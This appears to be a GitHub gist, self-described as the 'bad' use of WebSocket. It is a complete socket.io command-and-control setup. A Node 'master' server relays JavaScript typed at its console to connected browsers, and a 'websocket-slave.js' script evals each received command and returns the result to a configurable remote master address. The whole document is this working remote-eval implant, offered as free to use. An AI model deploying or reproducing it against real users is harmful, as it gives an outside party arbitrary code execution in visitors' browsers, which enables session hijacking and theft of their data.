Skip to content

Instantly share code, notes, and snippets.

@boxmein
Last active December 19, 2015 08:09
Show Gist options
  • Save boxmein/5923959 to your computer and use it in GitHub Desktop.
Save boxmein/5923959 to your computer and use it in GitHub Desktop.
WebSocket can be used for good and for bad. Here's the bad. :(
<!--
- Socket.io-powered WebSocket utilizing control module!
-
- * Sample index page for the implementation.
-
- by boxmein 2013, the code is free to use
- Socket.io Copyright(c) 2011 LearnBoost <[email protected]> MIT Licensed
-->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<script src="//cdnjs.cloudflare.com/ajax/libs/socket.io/0.9.16/socket.io.min.js"></script>
<script src="websocket-slave.js"></script>
</body>
</html>
/*
* Socket.io-powered WebSocket utilizing control module!
*
* - The server should log but it doesn't.
* - Listens on port 3000.
* - On connection, goes for its own handshake with the "shake" event.
* - Receives an "ok" event.
* - Listens to standard input and emits "command" events to the slave
* as necessary.
* - Commands are Javascript.
*
*
* by boxmein 2013, the code is free to use
*/
// $ npm install socket.io
var io = require("socket.io").listen(3000),
stdin = process.openStdin();
io.sockets.on("connection", function (sock) {
// start handshake
sock.emit("shake", {time: new Date().getTime()});
// handshake is complete
sock.on("ok", function (data) {
console.log(" okay received: " + data);
});
// fired when the eval is run, contains a string with the return value
sock.on("return", function (obj) {
console.log(" returned with value: " + obj.data);
})
// command line input
stdin.on("data", function (chunk) {
sock.emit("command", {code: "" + chunk});
});
});
String.prototype.trim = String.prototype.trim || function() {return this.replace(/^\s+|\s+$/g, "");};
/*
* Socket.io-powered WebSocket utilizing control module!
*
* - Evaluates Javascript received from standard input (see server)
* - Requires socket.io to work. A version has been included below.
* - socket.io proudly works on cross-domain connections. :)
* - After connecting, the server sends a "shake" event to which the client
* responds with a "ok" event.
*
* by boxmein 2013, the code is free to use
*/
// or include socket.io inside here. we need io.
if (!io) document.head.appendChild((sc=document.createElement('script'),sc.src='//cdnjs.cloudflare.com/ajax/libs/socket.io/0.9.16/socket.io.min.js',sc));
// change to your master server address :o
var socket = io.connect("http://localhost:3000");
socket.on("shake", function (data) {
console.log(data);
socket.emit("ok", {time: new Date().getTime()});
});
socket.on("command", function (data) {
console.log(data.code.trim());
socket.emit("return", {data: eval(data.code.trim())});
});
String.prototype.trim = String.prototype.trim || function() {return this.replace(/^\s+|\s+$/g, "");};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment